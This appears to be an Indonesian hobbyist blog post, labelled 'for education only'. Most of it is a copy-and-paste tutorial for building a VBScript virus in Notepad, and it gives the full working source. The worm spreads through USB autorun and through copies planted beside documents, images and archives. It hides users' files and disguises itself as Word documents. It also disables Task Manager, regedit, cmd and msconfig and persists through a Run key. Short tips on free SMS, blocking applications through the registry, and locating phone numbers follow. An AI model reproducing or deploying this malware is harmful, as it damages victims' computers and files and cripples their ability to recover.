For Education Only ["Jangan disalah gunakan, hanya untuk pembelajaran"]
Virus adalah suatu hal yang pasti tidak disukai orang banyak,maka biasanya kalau kompi kena Virus,Ufh menyebalkan banget kan ???
Maka
tidak ada salahnya kita buat virus kecil-kecilan,karena hal kecil bisa
menjadi yang besar. Sekalian tambah wawasan mengenai seluk beluk “Si
Perusak” alias viruszz …
karena belajar itu menyenangkan apalagi yang iseng-iseng. [hheeheee]
Oke langsung tancep aja, cuy .,….
1. Buka Notepad [ terserah lewat mana saja bisa kok,missal di Run>> ketik Notepad>>bLAA udh Kan???]
Copy script dibawah ini . . .
Rem sidoarjocity4154802560
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run
(Reg.RegRead("HKCR\" & BacaHandle("doc") &
"\shell\Open\command\") & " " & chr(34) & Left(Induk,
len(Induk)-3) & chr(34))
Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar
Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
SerangRecent
Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe sidoarjo hot.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\sidoarjo hot.vbs")
set tf2=fso.getfile(flashdrive.path & "\sidoarjo hot.vbs")
tf2.Attributes = 32
End If
Next
End Sub
Sub SerangDrive (Lokasi)
On Error Resume Next
Dim drv
If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\lapindo.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub
Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\bacalah aku.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub
Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\duit.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub
Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Hasil rapat.vbs")
SerangFile (target)
Next
End Sub
Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If
lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or
lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or
lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or
lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or
lcase(Right(target,3))="bmp" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub
Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub
Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("doc")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\")
Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub
Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders("Favorites") & "\blukutuk.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.Save
HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\blukutuk", lok
End Sub
Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub
Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -28)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem sidoarjocity" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub
Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function
Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "sidoarjocity")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub
sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub
Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Ceritaku.txt.vbs")
End Sub
Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory)
Next
End sub
Rem Created by Vir.VBS Generator V.1
2. Kalau udah selesai di copy paste aja di notepad, jadi gak perlu nulis sak’abreg gtu . .
3. Kemudian simpan [File>>Save As] kasih nama “Lapindo.vbs” [Inget harus pake tanda kutip,jangan lupa]
4.Jadi dech tuch virus, kalau kamu klik [jangan dech,agak berbahaya soalnya]
Catatan:
Kalau kamu pake Anti Virus Avira [yang gambar red umbrella] maka langsung kedetect dengan nama VBS/Autorun.T . . .
Terus
kalau kamu coba klik, maka sesuai namanya “Lapindo” kompi kamu yang
pake anti virus AVG.Avira,Norton akan ditenggelamin alias gak fungsi
lagi…
Dan masih banyak efek lainnya
So becareful
Akhirnya
cukup sudah penjelasan mengenai buat virus pake notepad,dan inget
aturan mainnya For Education Only. . . Kalau ada yang tertarik,lain
kali buat lagi yang lebih ganaszzz, hehheheeh
MAsTEr HAckER JuNiOr
Mau
ngirim sms tanpa harus pakai handphone dan juga tanpa bayar pulsa? Ada
website indonesia yang memberi sms gratis secara cuma-cuma kepada para
pengunjungnya. Di situs web sms gratisan itu kita bisa ngirim-ngirim
sms sepuas kita tanpa batas.Kalau dilihat dari sms yang terkirim
sepertinya situs ini menggunakan fasilitas pengiriman sms dari operator
indosat. Jika kita kirim ke nomer hp kita sendiri, maka terlihat nomor
pengirim kita adalah nomor indosat. Mungkin fasilitas pengiriman sms
gratis tersebut hanya terbatas pada operator indosat saja dan belum ke
semua operator. Coba-coba saja mungkin bisa.
PERTAMA: Pada kotak Nomor Penerima masukkan nomer HP anda sendiri (dan khusus buat indosat)
KEDUA: Isi pesan pada kotak yang tersedia
KETIGA: Pada tab angka 50 99 39 34 88, pilih angka yang diperintahkan. Misal angka 50
Maka pesan anda akan dikirim secara otomatis ke HP anda...
Asyik gak . . . . ????
Oke sekarang klik aja langsung link berikut
SMS GRATIS
Datang, Ketik, Kirim. Beres...
Mungkin Anda pernah berpikir bagaimana cara memblokir suatu aplikasi
agar aplikasi tersebut tidak dapat dijalankan di computer Anda. Ada
berbagai alasan memblokir aplikasi. Salah satu alasannya adalah,
mungkin aplikasi tersebut berbahaya bagi system karena dapat digunakan
oleh tangan jahil untuk merusak PC Anda, atau karena alasan lainnya
Anda kemudian mencari program untuk memblokir aplikasi tersebut.
Sebenarnya Anda tidak perlu repot-repot mencari program khusus hanya
untuk memblokir suatu aplikasi. Cukup dengan mengedit registry,Anda
sudah bisa melakukan hal tersebut dengan mudah. Berikut adalah
langkah-langkahnya.
1. Klik Start>Run lalu ketik regedit.
2. Pada window Registry Editor masuklah ke key
HKEY_CURRENT_USER\Software\
Microsoft\Windows\Current
Version\Policies\Explorer.
3. Buat DWORD value baru dengan mengklik kanan mouse lalu pilih New>DWORD Value dan beri nama DisallowRun.
4. Klik dua kali data tersebut kemudian isi value-nya dengan nilai 1.
5. Setelah itu buat sebuah subkey baru bernama DisallowRun sehingga terbentuk key:
HKEY_CURRENT_USER\
Software\Microsoft\
Windows\CurrentVersion
\Policies\Explorer\DisallowRun.
6.
Pada key DisallowRun tersebut, Anda dapat mendefinisikan nama file
aplikasi yang ingin Anda blokir. Caranya, buat string value baru dengan
mengklik
kanan mouse lalu pilih New>String Value. Beri nama string value tersebut
dengan angka 1. Untuk memblokir aplikasi-aplikasi lain Anda dapat membuat
string
value baru dengan angka lain secara berurutan, seperti 2, 3, 4, dan
seterusnya. Kemudian pada value datanya isikan dengan nama file
yang ingin Anda blokir, misalnya regedit.exe.
7. Setelah melakukan langkahlangkah di atas, restart Windows Anda.
Pada
kehidupan kita sehari-hari terkadang kita sering kena iseng oleh orang
yang tidak bertanggung jawab dengan cara mengirim sms berupa ancaman
atau penipuan berkedok undian pada susatu produk atau mungkin hanya
memisedchall saja pokoknya bayak deh yang jelas bikin jengkel dan
penasan siapakan orang itu dan darimanakah dia berasal, ini ada sedikit
cara untuk melacak keberadaan daerah nomor HP, dengan cara berikut anda
bisa mengetahui dari daerah manakah nomor handphone tersebut. dengan
mengetahui keberadaannya saja mungkin bisa menjawab rasa penasaran
anda. berikut cara melacak nomor handphone tersebut: :t
# Pertama KLIK DISINI
untuk memasuki situs penyedia jasa kedua masukan nomor handphone yang
ingin anda lacak dikolom yang sudah disediakan ketiga klik tombol
search tunggu sejenak, kemudian akan tampil data daerah asal nomor
tersebut, namun setiap program pasti ada kekurangannya begitu juga
dengan ini, kekurangannya adalah cara ini hanya berlaku bagi nomor dari
provider Telkomsel saja belum suport bagi provider lain. :f
moga tips ini bermampaat. :)
Sumber artikel : Andri AswRdi